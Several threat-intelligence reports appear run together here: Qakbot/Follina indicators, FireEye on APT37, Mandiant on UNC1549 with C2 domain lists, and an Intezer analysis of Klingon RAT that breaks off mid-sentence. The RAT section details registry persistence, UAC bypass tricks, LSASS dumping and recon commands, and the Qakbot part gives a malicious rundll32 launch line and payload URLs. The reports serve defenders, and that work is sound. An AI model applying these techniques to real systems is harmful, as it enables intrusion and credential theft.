- 85873035_409355.zip **SHA256 hashes for the above zip archives:** - e24ce87a20c17bafe9da942722492e2a81328dd9dc3b6af574c1dad4112daff1 - 7a42a6182fc3b96b3de4aace5cc97c7c28017d9cfa154c410829caac3ca612c4 - 994caa143ec7cedccf52a1e446fe2255e862924575c6c5b89a6af269bf3f3b71 - 4a9f728b44c1827ed42a28d9b63bd3a5edf37ad0df34ad291ce8911329bf25c1 - 2c0dae888de793f55b3c04d3cc9218e52b8e7a265776e231f62c14893e6bf2e5 - 6e210c37f08f0723549af3e0a766bfef0703f4b35e6f60ca2f5d4ba1ca876bb1 - 6bac41ebf365ee7a9f97ea84ed8e5f87e0799cbe2e38158b48d78f7d4746b821 - aa114cb2d5b8043d72b8869f7c63cbc95078298233e37d258bcf04d37ded68e5 - 95baf71d1ffc7a2677f77f824913d6c9f63dc8128ae9145930594831bfdabc45 - 7de0f9f25bc8a3edb631ff42573719ccb0ad1ed2eeca54ad3dea63fb7f04d3be - 49bc1574020858f2277da948ecc44acc830e3cf1fd09f04d10f70462e3ed0d99 **Names of 11 disk image files extracted from the above zip archives:** - 03792072_874241.img - 20755103_822431.img - 23891652_978954.img - 55088410_803346.img - 55448947_903195.img - 58218799_257561.img - 65058266_101487.img - 68101181_048154.img - 69849517_238275.img - 71875983_866759.img - 85873035_409355.img **SHA256 hashes for the above disk image files:** - 7e0a345fba5c7ad1d8196139a1ec8a66cf8ee7bee85627b9b9ccaa856d723ed5 - 85b4504543ed58861a85899b4c1cd315fbc9bd31540ce74e7730495a9384eef2 - 859bb10ac5b012f2af49dd9c6fe3463c60937e4054b395e5e5f2e2206a6fa6e7 - d9a19da9543b921c03e089a0c78a35ef1cc5bc378e2e457b5cea97b70f4490a7 - 85591984196580620887922be65f053a7220ec455737a845d1f8da0665983524 - d9ac855c390cab8ab44970b838cb6b27a12f7771e3cfef064ff84a98555e0ba4 - 33dff4aa9b4cc2f078638966b7d0787d4bd5b75b24b266e354b005fbb515e2d3 - c77c63b0ad713ca97776305af4b22cd934271fec00f3c8029bdbbfcf8cd1ed98 - 090f652b176dfb8bb7ceaca8863ebf2041e250bb21b208fecdfa4d917aed5637 - 997c4a9c2507695477552a98f89ebe64aea1685ac3309f42e7713d13ee3056f1 - 9ad904b6ec926b0f03d856c3d57feb009c811f31e5676884db95f7d7652fd73d **Names of 11 Windows shortcut files contained in the above disk images:** - 03792072_874241.lnk - 20755103_822431.lnk - 23891652_978954.lnk - 55088410_803346.lnk - 55448947_903195.lnk - 58218799_257561.lnk - 65058266_101487.lnk - 68101181_048154.lnk - 69849517_238275.lnk - 71875983_866759.lnk - 85873035_409355.lnk **SHA256 hash for all of the above Windows shortcut files:** - 03160be7cb698e1684f47071cb441ff181ff299cb38429636d11542ba8d306ae **Command generated from the Windows shortcut:** - C:\Windows\System32\rundll32.exe 019338921.dll,DllInstall **Name for the obama186 Qakbot 32-bit DLL files hidden in the 11 disk images:** - 19338921.dll **SHA256 hashes for 10 obama186 Qakbot DLL files hidden in the 11 disk images:** - 17af3b12512b3430d59ca594bc16171c66ec49db4458cb2de887b83e9f37860b - 31de1b6c455784d6524cc3db4b37360782f260ddedf414d60dd4c96913512f48 - 41623849299f5f6d5551f9e58476a5df527cef441f65076d2526ea8a1437b3ed - 5577643e4028eb610c688d5ab703cd6c80c60aa99048414f1803e7264183c366 - 68aee52f4bee3cf4d50f33110f439249dbe450f65f3ba09a0d833882ad8ded11 - 71c9229eb849ed2ff17ef435b385ba98aeaae931849ff226621b39fd31e00976 - 765844ed4f11fb1a050994f5d0a589fff04b2e6342acab17f373626f7583e10a - af8232f3a789672602db9937217882f6d52f4640a258403ed3531172afca7220 - cef129dbfb9dc93e9937a60f2c31d292db8e3591a349f101923be8d05886920d - e13fca7c957ae5064cdba0a1cea672031d7b8a56ee876bfa0c1a0505dc8ef24f **Names of 11 .docx files contained in the 11 disk images:** - doc106.docx - doc276.docx - doc310.docx - doc632.docx - doc672.docx - doc708.docx - doc879.docx - doc1454.docx - doc1750.docx - doc1792.docx - doc1848.docx **SHA256 hash for the above .docx files:** - d20120cc046cef3c3f0292c6cbc406fcf2a714aa8e048c9188f1184e4bb16c93 **URL contained in XML file from the above .docx archive:** - hxxp://185.234.247[.]119/123.RES **SHA256 hash of the above 123.RES file:** - e3ba1c45f9dd1f432138654b5f19cf89c55e07219b88aa7628334d38bb036433 **Examples of URLs contained in script from 123.RES that returned obama186 Qakbot DLL files:** - hxxp://104.36.229[.]139/75257103.dat - hxxp://85.239.55[.]228/75257103.dat - hxxp://185.234.247[.]119/75257103.dat **Example of User-Agent string in HTTP request header for the above URLs:** - User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.431 **Examples of obama186 Qakbot DLL files retrieved from the above URLs:** - 6a16d1ec263eeacd6d5b2eb1855337a0aeeacd8020df840a0d883f973b3111b7 - 767e1d12493cb7de999a85323da06190706324397d26af020b9bc833c6d5b7f6 - 62acb357d94bebb8ee25761e5b7b0188f44e5c69156bbcb884884d1fe6b2838a ## Final Words As mentioned earlier, I was unable to get the Follina exploit to work in my lab environment. The next day (Wednesday 2022-06-08), TA570 did not include a .docx file in disk images associated with obama187 Qakbot. The disk image → Windows shortcut → hidden DLL method of Qakbot infection worked in my lab environment, though. I've posted the associated emails, malware, and a pcap of infection traffic from a TA570 obama186 Qakbot infection from Tuesday 2022-06-07 here. --- **Brad Duncan** brad [at] malware-traffic-analysis.net **Keywords:** CVE202230190 Follina Qakbot Qbot TA570
# APT37 (REAPER): The Overlooked North Korean Actor ## Introduction On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper). Recent examination of this group’s activities by FireEye iSIGHT Intelligence reveals APT37 has expanded its operations in both scope and sophistication. APT37’s toolset, which includes access to zero-day vulnerabilities and wiper malware, combined with heightened tensions in Northeast Asia and North Korea’s penchant for norm breaking, means this group should be taken seriously. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123. APT37’s primary mission is covert intelligence gathering in support of North Korea’s strategic military, political, and economic interests. This is based on consistent targeting of South Korean public and private entities and social engineering. APT37’s recently expanded targeting scope also appears to have direct relevance to North Korea’s strategic interests. APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam, and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive, and healthcare entities. Lure materials typically leveraged the Korean language and featured themes such as Korean peninsula reunification or sanctions. In 2017, APT37 targeted a Middle Eastern company that entered into a joint venture with the North Korean government to provide telecommunications service to the country. Other targets included individuals involved in international affairs and trade issues, the general director of a Vietnamese international trading and transport company, and possibly individuals working with Olympics organizations assisting in securing resources for athletes. North Korean defector and human rights-related targeting provides further evidence that APT37 conducts operations aligned with the interests of North Korea. ## Initial Infection Vectors In May 2017, APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company. The specially crafted email included an attachment containing exploit code for CVE-2017-0199, a vulnerability in Microsoft Office that had been disclosed just a month earlier. Once opened, the malicious document communicated with a compromised website, most likely to surreptitiously download and install a backdoor called SHUTTERSPEED. In addition to the aforementioned spear phishing tactics, APT37 leverages a variety of methods to deliver malware. These include strategic web compromises typical of targeted cyber espionage operations, as well as the use of torrent file-sharing sites to distribute malware more indiscriminately. Numerous campaigns have employed social engineering tactics tailored specifically to desired targets. Lures and websites of particular interest to South Korean organizations are regularly leveraged in campaigns. APT37 has improved its operational security over time. For example, early 2015 use of SLOWDRIFT involved credentials associated with Korea-related mail servers. Later, APT37 pivoted to different email providers in an attempt to anonymize activity. ## Exploited Vulnerabilities APT37 frequently exploits vulnerabilities in Hangul Word Processor (HWP) due to the software’s prevalence in South Korea. The group recently demonstrated access to zero-day vulnerabilities and has the flexibility to quickly incorporate recently publicized vulnerabilities into spear phishing and strategic web compromise operations. APT37 has repeatedly deployed exploits, especially in Flash, quickly after vulnerabilities are initially publicized. ## Command and Control Infrastructure APT37 uses a variety of techniques for command and control. They leverage compromised servers, messaging platforms, and cloud service providers to avoid detection. The group often relies on compromised sites to host second stage malware payloads. Over time, APT37 has changed the email providers to set up command and control accounts in a possible attempt to cover their tracks and cause misdirection. APT37 has used various legitimate platforms as command and control for its malware tools. While some early campaigns leveraged POORAIM, newer activity deploys DOGCALL, which uses cloud storage APIs such as pCloud and Dropbox. ## Malware APT37 employs a diverse suite of malware for initial intrusion and exfiltration. Their malware is characterized by a focus on stealing information from victims, with many set up to automatically exfiltrate data of interest. A full breakdown of the malware associated with APT37 is available in the Appendix. ## Attribution We assess with high confidence that APT37 acts in support of the North Korean government and is primarily based in North Korea. This assessment is based on multiple factors, including APT37’s targeting profile, insight into the group’s malware development, and probable links to a North Korean individual believed to be the developer of several APT37’s proprietary malware families. ## Outlook and Implications North Korea has repeatedly demonstrated a willingness to leverage its cyber capabilities for a variety of purposes, undeterred by notional redlines and international norms. Though they have primarily tapped other tracked suspected North Korean teams to carry out the most aggressive actions, APT37 is an additional tool available to the regime. We anticipate APT37 will be leveraged more and more in previously unfamiliar roles and regions, especially as pressure mounts on their sponsor. ## Appendix: Malware Used by APT37 | Malware | Description | Detected as | |--------------|-----------------------------------------------------------------------------|-------------------------------------------------| | CORALDECK | Exfiltration tool that searches for specified files and exfiltrates them. | APT.InfoStealer.Win.CORALDECK | | DOGCALL | Backdoor commonly distributed as an encoded binary file. | APT.Backdoor.Win.DOGCALL | | GELCAPSULE | Downloader traditionally dropped or downloaded by an exploit document. | FE_APT_Downloader_Win32_GELCAPSULE | | HAPPY WORK | Malicious downloader that can download and execute a second-stage payload. | FE_APT_Downloader_HAPPYWORK | | KARAe | Backdoors used as first-stage malware after an initial compromise. | FE_APT_Backdoor_Karae_enc | | RUHAPPY | Destructive wiper tool seen on systems targeted by DOGCALL. | FE_APT_Trojan_Win32_RUHAPPY | | SLOWDRIFT | Launcher that communicates via cloud-based infrastructure. | FE_APT_Downloader_Win_SLOWDRIFT | | SOUNDWAVE | Windows-based audio capturing utility. | FE_APT_HackTool_Win32_SOUNDWAVE | | ZUMKONG | Credential stealer capable of harvesting usernames and passwords. | FE_APT_Trojan_Zumkong | | WINERACK | Backdoor with features including user and host information gathering. | FE_APT_Backdoor_WINERACK | FireEye, Inc. © 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. 601 McCarthy Blvd. Milpitas, CA 95035 All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
# When Cats Fly: Suspected Iranian Threat Actor UNC1549 Targets Israeli and Middle East Aerospace and Defense Sectors Today Mandiant is releasing a blog post about suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in Middle East countries, including Israel and the United Arab Emirates (UAE) and potentially Turkey, India, and Albania. Mandiant attributes this activity with moderate confidence to the Iranian actor UNC1549, which overlaps with Tortoiseshell—a threat actor that has been publicly linked to Iran’s Islamic Revolutionary Guard Corps (IRGC). Tortoiseshell has previously attempted to compromise supply chains by targeting defense contractors and IT providers. The potential link between this activity and the Iranian IRGC is noteworthy given the focus on defense-related entities and the recent tensions with Iran in light of the Israel-Hamas war. Notably, Mandiant observed an Israel-Hamas war-themed campaign that masquerades as the “Bring Them Home Now” movement, which calls for the return of the Israelis kidnapped and held hostage by Hamas. This suspected UNC1549 activity has been active since at least June 2022 and is still ongoing as of February 2024. While regional in nature and focused mostly in the Middle East, the targeting includes entities operating worldwide. Mandiant observed this campaign deploy multiple evasion techniques to mask their activity, most prominently the extensive use of Microsoft Azure cloud infrastructure as well as social engineering schemes to disseminate two unique backdoors: MINIBIKE and MINIBUS. This blog post details the suspected UNC1549 operations since June 2022, the ongoing development of their proprietary malware, their network of over 125 Azure command-and-control (C2) subdomains, and their attack lifecycle, which includes tactics, techniques, and procedures (TTPs) Mandiant has not previously seen deployed by Iran. ## Attribution Mandiant assesses with moderate confidence that this activity has ties to UNC1549, an Iran-based espionage group, which overlaps with activities publicly known as Tortoiseshell and Smoke Sandstorm/BOHRIUM. Namely, a fake recruiting website (1stemployer.com) was observed hosting a MINIBUS payload in November 2023. The template used for the fake recruiting website had been used previously in another fake recruiting website, careers-finder.com, which was used by UNC1549. In this campaign, the MINIBUS backdoor was hosted on a fake job website (1stemployer.com) using the exact same written contents as careers-finder.com used by UNC1549 in early 2022, for example, “After considering the career and education background we introduce you to the employer companies which are looking for the indicated skills and expertise.” In addition, like in previous UNC1549 activities, this campaign leveraged .NET applications to deliver the malware—this time the attackers implemented it by using a fake Hamas-affiliated application to deliver the MINIBUS backdoor. According to public reporting, Tortoiseshell, which is tied to UNC1549, is potentially linked to the IRGC. In addition, the focused targeting of Middle East entities affiliated with the aerospace and defense sectors is consistent with other Iran-nexus clusters of activity, some of which are affiliated with the IRGC as well. ## Outlook and Implications Mandiant research indicates this campaign remains active as of February 2024, and targeted entities are related to defense, aerospace, and aviation in the Middle East, particularly in Israel and the UAE and potentially in Turkey, India, and Albania. The intelligence collected on these entities is of relevance to strategic Iranian interests and may be leveraged for espionage as well as kinetic operations. This is further supported by the potential ties between UNC1549 and the IRGC. The evasion methods deployed in this campaign, namely the tailored job-themed lures combined with the use of cloud infrastructure for C2, may make it challenging for network defenders to prevent, detect, and mitigate this activity. The intelligence and indicators provided in this report may support these efforts and enhance them. ## Attack Lifecycle This suspected UNC1549 campaign uses two primary methods to achieve initial access to the targets: spear-phishing and credential harvesting. A typical chain of attack consists of several stages: 1. Spear-phishing emails or social media correspondence, disseminating links to fake websites containing Israel-Hamas related content or fake job offers. The websites would eventually lead to downloading a malicious payload. 2. Payload delivery, downloaded from the previously mentioned websites to the target’s computer. The payload is a compressed archive that typically includes two main bundles: - MINIBIKE or MINIBUS—two unique backdoors deployed at least since 2022 (MINIBIKE) and 2023 (MINIBUS), providing full backdoor functionality. - A benign lure in the form of an application like OneDrive (MINIBIKE) or, in the case of MINIBUS, a custom application presenting content related to Israelis kidnapped by Hamas hosted on the fake website birngthemhomenow.co.il. 3. Payload installation and device compromise, achieved after the MINIBIKE or MINIBUS backdoors establish C2 communication, in most cases via Microsoft Azure cloud infrastructure. The access to the device can be leveraged for multiple purposes, including intelligence collection and as a stepping stone for further access into the targeted network. This suspected UNC1549 campaign deployed several evasion techniques to mask their activity: - Abusing Microsoft Azure infrastructure for C2 and hosting, making it difficult to discern the activity from legitimate network traffic. In some cases, servers geolocated in the targeted countries (Israel and the UAE) were used, further masking the activity. - Using domain naming schemes that include strings that would likely seem legitimate to network defenders, like countries, organizations names, languages, or descriptions related to the targeted sector. ## Malware Families Mandiant observed the following custom malware families used in the suspected UNC1549 activity: ### MINIBIKE A custom backdoor written in C++ capable of file exfiltration and upload, command execution, and more. Communicates using Azure cloud infrastructure. ### MINIBUS A custom backdoor that provides a more flexible code-execution interface and enhanced reconnaissance features compared to MINIBIKE. ### LIGHTRAIL A tunneler, likely based on an open-source Socks4a proxy, that communicates using Azure cloud infrastructure. ## Credential Harvesting and Fake Job Offers Mandiant observed that several websites hosting MINIBIKE payloads also hosted fake login pages in mid-2023 posing as job offers on behalf of legitimate defense and technology-related companies. More specifically, the companies were affiliated with the aerospace, aviation, and thermal imaging industries. In addition, Mandiant observed suspected UNC1549 infrastructure hosting job description documents for positions in DJI, a drone manufacturing company, in parallel to a MINIBIKE .zip file. The documents were likely used as lures in social engineering efforts, either for running malicious files or harvesting credentials. ## Technical Appendix ### MINIBIKE Technical Analysis Mandiant observed the following versions of MINIBIKE deployed since 2022. **Version 1.x, June–November 2022** - Payload: IMG archive named Screenshot.img, containing the following files: - Screenshots.lnk - a launcher LNK file - Setup.exe - a legitimate OneDrive/SharePoint executable - secur32.dll - the MINIBIKE launcher, executed via search-order-hijacking (SoH) - configur.dll - the MINIBIKE backdoor **Execution:** Once the IMG archive is mounted, the malicious launcher is executed via SoH and copies the legitimate executable and the MINIBIKE backdoor to the following paths: - Legitimate executable: %LOCALAPPDATA%\Microsoft\OneDrive\configs\FileCoAuth.exe - MINIBIKE backdoor: %LOCALAPPDATA%\Microsoft\OneDrive\configs\secur32.dll **Persistence:** The loader/installer sets persistence for the MINIBIKE payload by moving it to its staging directory and setting the following Run registry key: - Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDriveFileCoAuth.exe - Value: %LOCALAPPDATA%\Microsoft\OneDrive\configs\FileCoAuth.exe **C2 infrastructure:** - Version 1.0: 158.255.74[.]25 - Version 1.1: homefurniture[.]azurewebsites[.]net ### MINIBUS Analysis **Payload:** ZIP archive named bringthemhomenow.zip, containing the following files: - BringThemeHome.exe - a benign executable - A MINIBUS installer - secur32.dll - CoreUIComponent.dll - the MINIBUS backdoor - essential.dat - an additional archive containing decoy content: a “Bring Them Home” fake .NET application created by the threat actor. **Execution:** Once the legitimate executable is run, the MINIBUS installer is installed via search-order-hijacking (SoH). **C2 infrastructure:** This version of MINIBIKE communicates with one Azure subdomain and two dedicated domains: - vscodeupdater[.]azurewebsites[.]net - cashcloudservices[.]com - xboxplayservice[.]com ### Detection and Mitigation If you are a Google Chronicle Enterprise+ customer, Chronicle rules were released to your Emerging Threats rule pack, and IOCs listed in this blog post are available for prioritization with Applied Threat Intelligence. ### Indicators of Compromise (IOCs) **MINIBIKE** - 01cbaddd7a269521bf7b80f4a9a1982f - 054c67236a86d9ab5ec80e16b884f733 - 1d8a1756b882a19d98632bc6c1f1f8cd - 2c4cdc0e78ef57b44f1f7ec2f6164cd - 3b658afa91ce3327dbfa1cf665529a6d - 409c2ac789015e76f9886f1203a73bc0 - 601eb396c339a69e7d8c2a3de3b0296d - 664cfda4ada6f8b7bb25a5f50cccf984 - 68f6810f248d032bbb65b391cdb1d5e0 - 691d0143c0642ff783909f983ccb8fd - 710d1a8b2fc17c381a7f20da5d2d70fc - 75d2c686d410ec1f880a6fd7a9800055 - 909a235ac0349041b38d84e9aab3f3a1 - a5e64f196175c5f068e1352aa04bc5fa - adef679c6aa6860aa89b775dceb6958b - bfd024e64867e6ca44738dd03d4f87b5 - c12ff86d32bd10c6c764b71728a51bce - cf32d73c501d5924b3c98383f53fda51 - d94ffe668751935b19eaeb93fed1cdbe - e3dc8810da71812b860fc59aeadcc350 - e9ed595b24a7eeb34ac52f57eeec6e2b - eadbaabe3b8133426bcf09f7102088d4 **MINIBUS** - ef262f571cd429d88f629789616365e4 - 816af741c3d6be1397d306841d12e206 - c5dc2c75459dc99a42400f6d8b455250 - 05fcace605b525f1bece1813bb18a56c - 4ed5d74a746461d3faa9f96995a1eec8 - f58e0dfb8f915fa5ce1b7ca50c46b51b **LIGHTRAIL** - 0a739dbdbcf9a5d8389511732371ecb4 - 36e2d9ce19ed045a9840313439d6f18d - aaef98be8e58be6b96566268c163b6aa **Fake Job Offers** - ec6a0434b94f51aa1df76a066aa05413 - 89107ce5e27d52b9fa6ae6387138dd3e - 4a223bc9c6096ac6bae3e7452ed6a1cd **C2 and Hosting Infrastructure** - 1stemployer.com - birngthemhomenow.co.il - cashcloudservices.com - jupyternotebookcollections.com - notebooktextcheckings.com - teledyneflir.com.de - vsliveagent.com - xboxplayservice.com **Azure Subdomains** - airconnectionapi.azurewebsites.net - airconnectionsapi.azurewebsites.net - airconnectionsapijson.azurewebsites.net - airgadgetsolution.azurewebsites.net - airgadgetsolutions.azurewebsites.net - altnametestapi.azurewebsites.net - answerssurveytest.azurewebsites.net - apphrquestion.azurewebsites.net - apphrquestions.azurewebsites.net - apphrquizapi.azurewebsites.net - arquestionsapi.azurewebsites.net - arquestions.azurewebsites.net - audiomanagerapi.azurewebsites.net - audioservicetestapi.azurewebsites.net - blognewsalphaapijson.azurewebsites.net - blogvolleyballstatusapi.azurewebsites.net - blogvolleyballstatus.azurewebsites.net - boeisurveyapplications.azurewebsites.net - browsercheckap.azurewebsites.net - browsercheckingapi.azurewebsites.net - browsercheckjson.azurewebsites.net - changequestionstypeapi.azurewebsites.net - changequestionstypejsonapi.azurewebsites.net - changequestiontypesapi.azurewebsites.net - changequestiontypes.azurewebsites.net - checkapicountryquestions.azurewebsites.net - checkapicountryquestionsjson.azurewebsites.net - checkservicecustomerapi.azurewebsites.net - coffeeonlineshop.azurewebsites.net - coffeeonlineshoping.azurewebsites.net - connectairapijson.azurewebsites.net - connectionhandlerapi.azurewebsites.net - countrybasedquestions.azurewebsites.net - customercareserviceapi.azurewebsites.net - customercareservice.azurewebsites.net - emiratescheckapi.azurewebsites.net - emiratescheckapijson.azurewebsites.net - engineeringrssfeed.azurewebsites.net - engineeringssfeed.azurewebsites.net - exchtestcheckingapi.azurewebsites.net - exchtestcheckingapihealth.azurewebsites.net - flighthelicopterahtest.azurewebsites.net - helicopterahtest.azurewebsites.net - helicopterahtests.azurewebsites.net - helicoptersahtests.azurewebsites.net - hiringarabicregion.azurewebsites.net - homefurniture.azurewebsites.net - hrapplicationtest.azurewebsites.net - humanresourcesapi.azurewebsites.net - humanresourcesapijson.azurewebsites.net - humanresourcesapiquiz.azurewebsites.net - iaidevrssfeed.centralus.cloudapp.azure.com - iaidevrssfeed.centrualus.cloudapp.azure.com - iaidevrssfeed.cloudapp.azure.com - iaidevrssfeedp.cloudapp.azure.com - identifycheckapplication.azurewebsites.net - identifycheckapplications.azurewebsites.net - identifycheckingapplications.azurewebsites.net - ilengineeringrssfeed.azurewebsites.net - integratedblognewfeed.azurewebsites.net - integratedblognewsapi.azurewebsites.com - integratedblognewsapi.azurewebsites.net - integratedblognews.azurewebsites.net - intengineeringrssfeed.azurewebsites.net - intergratedblognewsapi.azurewebsites.net - javaruntime.azurewebsites.net - javaruntimestestapi.azurewebsites.net - javaruntimetestapi.azurewebsites.net - javaruntimeversioncheckingapi.azurewebsites.net - javaruntimeversionchecking.azurewebsites.net - jupyternotebookcollection.azurewebsites.net - jupyternotebookcollections.azurewebsites.net - jupyternotebookscollection.azurewebsites.net - logsapimanagement.azurewebsites.net - logsapimanagements.azurewebsites.net - logupdatemanagementapi.azurewebsites.net - logupdatemanagementapijson.azurewebsites.net - manpowerfeedapi.azurewebsites.net - manpowerfeedapijson.azurewebsites.net - marineblogapi.azurewebsites.net - notebooktextchecking.azurewebsites.net - notebooktextcheckings.azurewebsites.net - notebooktexts.azurewebsites.net - onequestionsapi.azurewebsites.net - onequestionsapicheck.azurewebsites.net - onequestions.azurewebsites.net - openapplicationcheck.azurewebsites.net - optionalapplication.azurewebsites.net - personalitytestquestionapi.azurewebsites.net - personalizationsurvey.azurewebsites.net - qaquestionapi.azurewebsites.net - qaquestionsapi.azurewebsites.net - qaquestionsapijson.azurewebsites.net - qaquestions.azurewebsites.net - queryfindquestions.azurewebsites.net - queryquestions.azurewebsites.net - questionsapplicationapi.azurewebsites.net - questionsapplicationapijson.azurewebsites.net - questionsapplicationbackup.azurewebsites.net - questionsdatabases.azurewebsites.net - questionsurveyapp.azurewebsites.net - questionsurveyappserver.azurewebsites.net - quiztestapplication.azurewebsites.net - refaeldevrssfeed.centralus.cloudapp.azure.com - regionuaequestions.azurewebsites.net - registerinsurance.azurewebsites.net - roadmapselectorapi.azurewebsites.net - roadmapselector.azurewebsites.net - sportblogs.azurewebsites.net - surveyappquery.azurewebsites.net - surveyonlinetestapi.azurewebsites.net - technewsblogapi.azurewebsites.net - testmanagementapi1.azurewebsites.net - testmanagementapis.azurewebsites.net - testmanagementapisjson.azurewebsites.net - testquestionapplicationapi.azurewebsites.net - testtesttes.azurewebsites.net - tiappschecktest.azurewebsites.net - tnlsowkis.westus3.cloudapp.azure.com - tnlsowki.westus3.cloudapp.azure.com - turkairline.azurewebsites.net - uaeaircheckon.azurewebsites.net - uaeairchecks.azurewebsites.net - vscodeupdater.azurewebsites.net - workersquestionsapi.azurewebsites.net - workersquestions.azurewebsites.net - workersquestionsjson.azurewebsites.net
# Klingon RAT Holding on for Dear Life With more malware written in Golang than ever before, the threat from Go-based Remote Access Trojans (RATs) has never been higher. Not only has the number of Go malware increased but also the sophistication of these threats. This is a technical analysis of an advanced RAT written in Go that we are calling Klingon RAT. The RAT is well-featured and resilient due to its multiple methods of persistence and privilege escalation. It was determined that the RAT is being used by cybercriminals for financial gain. It is important to stay on top of this threat as it will degrade Antivirus security through killing targeted processes and hiding communications through encrypted channels. ## Technical Analysis When searching our various hunting platforms for malware, one particular sample caught our eye. This Go sample, active since at least 2019, was flagged as malicious but mostly unique code by our platform. It is not common to find RATs with very few code reuse. Threat actors reuse code all the time to expedite malware development. Since it is rare to see a RAT with such a large amount of code written from scratch, we dug deeper down the gopher hole. This RAT is full of tactics to combat Antiviruses, maintain persistence, and escalate privileges. It communicates encrypted with its Command and Control (C2) server using TLS and can receive commands allowing the attacker to fully control the infected machine. ### Initialization The malware starts by creating an object whose purpose is to store information about the victim machine, controller setup, and paths to dropped utilities. It will then run a WMI command (`wmic process get Caption,ParentProcessId,ProcessId`) to get all running processes. The returned value is parsed and stored in a slice. The malware will check this process list and match it against a list of targeted Antivirus processes. The `taskkill` command is used to kill matching processes and child processes. To start gathering the information on the victim machine, it will get the OS version using the `ver` command, then grab the username. A GET request is made to `https://api.ipify.org` to get the public IP address. Finally, it will fetch the machine ID from the registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography`. ### Dependency Deployment The malware will decompress and drop three Gzip embedded files into the `%temp%` directory. The dropped files are utilities for the threat actor to use once a C2 channel has been established. The files dropped are Foxmail, PAExec, and LSASS. Next, the malware will check to see if it is installed at `C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe`. If not installed, the malware will be relocated to the path. ### Persistence Persistence can be set up in multiple ways, some of which require admin privileges. #### Registry Run Key: Current User The following registry entry is created: - **Key:** `Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` - **Name:** Windows Updater - **Value:** `“C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe” -1 -0` #### Registry Run Key: Local Machine A similar entry as the above is created at: - **Key:** `Computer\HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` #### Image File Execution Options Injection Image File Execution Options are configured by the Windows registry with the intention of being used for debugging. This can be leveraged for persistence as any executable can be used as a “debugger.” The malware ensures the following keys exist: - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Accessibility` - `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe` The Image File Execution Options key has the following entries set: - **Name:** Configuration - **Data:** mangnifierpane - **Debugger:** `“C:\Users\IEUser\AppData\Local\Windows Update\updater10.exe” -1 -0` This causes the binary for Microsoft Screen Magnifier (magnify.exe) accessibility tool to be backdoored and execute the malware. #### WMI Event Subscription In this option, the malware utilizes “WMIC” to create an event subscription for persistence. Three commands are executed to create events in the `\rootsubscription` namespace that will start the payload within 60 seconds of Windows booting up. #### Winlogon Helper DLL The malware can modify the “Winlogon” key in order to run itself during Windows logon. The path of the executable is appended to the “Userinit” entry. #### Scheduled Task The malware can create a scheduled task called “OneDriveUpdate” to maintain persistence. The task is configured from an XML file, “elevator.xml” dropped to APPDATA, to trigger upon logon. The file “elevator.xml” is then removed from the disk. ### Privilege Escalation There are multiple avenues that the malware can take for privilege escalation. It will first test to see if it already has admin privileges and if it is a Windows server. To check if the process has admin privileges, it will attempt to open `\\\\.\\PHYSICALDRIVE0;` if unsuccessful, the malware will attempt to open `\\\\.\\SCSI0`. If successful for either of these, it will return “True” from the function. If “False,” the program will check to see if it is a Windows server by running the command `systeminfo`, and parsing for the string “Microsoft Windows Server.” The malware has four options for privilege escalation, one of which is not implemented properly: #### UAC Bypass: Computer Defaults This exploit starts by opening the following registry key: `HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command`. The default entry is set to the path of the malware, and an entry “DelegateExecute” has an empty string value added. Next, the program “computerdefaults.exe” is executed to complete the exploit. #### UAC Bypass: Fodhelper This exploit is similar to the Computer Defaults UAC bypass but this time it leverages the program “Features on Demand Helper” (Fodhelper.exe), a binary with the “autoelevate” setting set to true. The same registry entries are used. #### UAC Bypass: Disk Cleanup This UAC bypass works by leveraging the scheduled task named “SilentCleanup.” This task runs with the highest privileges but is configured to have the ability to be executed by unprivileged users. The malware attempts to leverage the environment variable “%windir%” to execute itself with higher privileges. #### UAC Bypass: Event Viewer Based on the strings in this path, it appears that the malware intended to leverage the “Event Viewer” UAC bypass. But this does not appear to be properly implemented in the program. ### Command and Control Before Command and Control (C2) is established, the malware initiates a controller struct: ```go type control.Controller struct { bot model.Bot socksSessions []control.SocksProxy shellSessions []control.Shell connection net.Conn keepAlive net.Conn } ``` First, a x509 keypair is decoded from Base64 and loaded by the function `tls.x509KeyPair`. A TLS handshake is performed with the C2 server `185.188.183[.]144` on the port `1141` and then creates a Goroutine called “Controller.WaitCommands.” The malware is able to: - Start a SOCKS proxy (‘proxy’) - Start a reverse shell (‘shell’) - Start an RDP server (‘rdp’) - Start a binary (‘binary’) - Update binary (‘update’) - Run PowerShell command (‘cmd’) The malware will initiate further Goroutines to collect information from the system. If running as administrator, it will run the Lsass binary previously dropped into the temp folder. The results are stored in a file called “Andrew.dmp” inside the temp folder. This information is sent to the C2 server through a HTTP POST request. Another routine will take a fingerprint of the machine, concatenating the results into a string, and send this off in a HTTP POST request. It runs the following commands in this order: 1. systeminfo 2. ipconfig 3. net view /all 4. net view /all domain 5. net users /domain 6. nltest /domain_trusts 7. nltest /domain_trusts /all_trusts Finally, the malware will periodically get information about the local network and adapters. ## Detect and Respond to Klingon RAT Detect if your Windows machine or server has been compromised by Klingon RAT or any variant that reuses code using the Intezer 